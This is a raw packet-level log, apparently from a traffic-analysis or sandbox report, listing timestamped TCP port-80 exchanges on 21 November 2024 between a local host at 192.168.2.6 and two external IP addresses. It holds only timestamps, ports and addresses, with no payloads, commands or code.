Nov 21, 2024 14:11:25.361273050 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.361416101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.361485958 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.362787008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.362839937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.363502026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.363568068 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.363583088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.363837957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.364762068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.365075111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.365784883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.365825891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.365906000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.366055965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.366910934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.367062092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.367161036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.368057013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.368146896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.368338108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.369215965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.369349957 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.369770050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.370304108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.370448112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.370668888 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.371552944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.371572971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.371747017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.372590065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.372711897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.372903109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.373717070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.373780966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.374097109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.374823093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.377908945 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.377950907 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.377964020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.377990007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.378041029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.378041029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.378295898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.378360987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.378377914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.378444910 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.378444910 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.379064083 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.379107952 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.379118919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.379138947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.379244089 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.379843950 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.379908085 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.379919052 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.380064964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.380629063 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.380683899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.380695105 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.380696058 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.380770922 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.381412983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.381433010 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.381493092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.381505013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.381642103 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.382222891 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.382280111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.382292032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.382354021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.382354021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.382992029 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.383058071 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.383069992 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.383093119 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.383838892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.383842945 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.383939028 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.383950949 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.384013891 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.384015083 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.384588957 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.384665012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.384677887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.384706974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.385354996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.385387897 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.385417938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.385428905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.386178017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.386213064 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.386231899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.386243105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387002945 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387037992 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.387079000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387089968 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387742043 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387775898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.387779951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387790918 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.387850046 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.388576031 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.388586998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.388695955 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.388731003 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.389324903 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.389383078 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.389394045 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.389416933 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.390121937 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.390155077 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.390194893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.390206099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.390891075 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.390923977 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.390938044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.390949965 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.391690969 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.391724110 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.391761065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.391772032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.391845942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.392544985 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.392585993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.392597914 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.393266916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.393297911 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.393328905 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.393340111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.393399000 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.393399954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.394073009 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.394148111 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.394159079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.394182920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.394865990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.394900084 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.395085096 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.395133972 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.395145893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.395169020 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.395844936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.395932913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.395988941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.396001101 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.396753073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.396764994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.396775007 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.396790028 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.396827936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.396827936 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.397511005 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.397567987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.397579908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.397605896 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.398317099 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.398353100 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.398385048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.398396015 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.398452997 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.398452997 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.399205923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399233103 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399244070 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399267912 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.399570942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.399835110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399876118 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399885893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.399904966 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.400019884 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.400657892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.400677919 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.400688887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.400722980 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.401482105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.401492119 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.401498079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.401527882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.402194023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.402228117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.402254105 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.402264118 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.402285099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.402828932 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.402990103 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403043032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403053999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403379917 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.403814077 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403857946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403867960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.403892040 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.404650927 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.404684067 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.404692888 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.404704094 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.405309916 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.405343056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.407844067 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.507433891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.507531881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.507950068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.508052111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.508224010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.509063959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.509213924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.509282112 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.510194063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.510255098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.510293961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.511344910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.511496067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.511574984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.512541056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.512581110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.512651920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.513706923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.513741016 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.513816118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.514733076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.514834881 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.514842987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.515881062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.515916109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.515991926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.517019033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.517082930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.517235994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.518172979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.518284082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.518310070 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.519486904 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.519522905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.519609928 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.519963980 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.520435095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.520545006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.521630049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.521682024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.521682024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.522685051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.522721052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.522778988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.523871899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.523915052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.523953915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.524269104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.524956942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.525068998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.526089907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.526117086 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.526248932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.527323961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.527379990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.527384996 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.527868986 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.528465033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.528527975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.529526949 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.529567957 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.529650927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.530668020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.530699015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.530762911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.531806946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.531887054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.531892061 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.532691956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.532928944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.533042908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.534045935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.534086943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.534130096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.535233021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.535280943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.535285950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.535881042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.536324978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.536427975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.537456989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.537570000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.537705898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.538634062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.538759947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.538837910 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.539726973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.539845943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.539850950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.540067911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.540924072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.541043997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.542020082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.542135000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.543170929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.543219090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.543227911 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.543756008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.544359922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.544369936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.545433998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.545489073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.545511007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.546576977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.546623945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.546681881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.547498941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.547729015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.547835112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.548849106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.548932076 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.548937082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.550009966 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.550050974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.550075054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.550995111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.551116943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.551201105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.551981926 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.552329063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.552484989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.553400993 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.553436995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.553508997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.554348946 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.554552078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.554589987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.554883003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.555670977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.555782080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.556787968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.556869984 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.556895971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.557934046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.557972908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.558123112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.559070110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.559113026 CET	80	49903	34.116.198.130	192.168.2.6
